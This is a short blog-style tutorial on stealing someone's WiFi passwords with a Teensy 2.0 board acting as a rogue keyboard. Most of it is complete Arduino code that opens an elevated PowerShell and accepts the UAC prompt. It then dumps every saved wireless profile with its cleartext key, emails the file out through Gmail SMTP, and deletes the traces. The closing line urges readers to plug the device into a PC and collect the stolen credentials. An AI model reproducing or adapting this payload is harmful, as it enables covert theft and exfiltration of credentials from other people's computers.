Steal WiFi using arduino in seconds

Today I will show you how you can steal someones WiFi credentials with a tiny cheap arduino teensy 2.0 board that I found laying around.

To start go to official arduino web page and download arduino IDE

https://www.arduino.cc/en/Main/Software

After you finish installing the IDE lets go and install Teensy loader from:

https://www.pjrc.com/teensy/loader.html

And here is the code that does all the magic:

void setup() {
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell Start-Process powershell -Verb runAs");
Keyboard.press(KEY_RETURN);Keyboard.releaseAll();
delay(1000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1000);
Keyboard.write("(netsh wlan show profiles) | Select-String \"\\:(.+)$\" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=\"$name\" key=clear)} | Select-String \"Key Content\\W+\\:(.+)$\" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize > C:\\Information.txt");
Keyboard.press(KEY_RETURN);Keyboard.releaseAll();
delay(1000);
Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$SMTPInfo.EnableSSL = $true");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential(
‘ENTER-EMAIL-ADDRESS ', ' ENTER-EMAIL-PASSWORD ')");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail.From =
‘ENTER-EMAIL-ADDRESS '");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail.To.Add('
ENTER-EMAIL-ADDRESS ')");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail.Subject = 'Wifi Details Received'");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail.Body = (Get-Content C:\\Information.txt | out-string)");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$SMTPInfo.Send($ReportEmail)");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(500);
Keyboard.print("del C:\\Information.txt");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("exit");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(10000);
}

void loop() {

}

And that’s all now go plug your teensy into a PC and see how WiFi credentials get emailed right to you.

Leave a Reply

Your email address will not be published. Required fields are marked *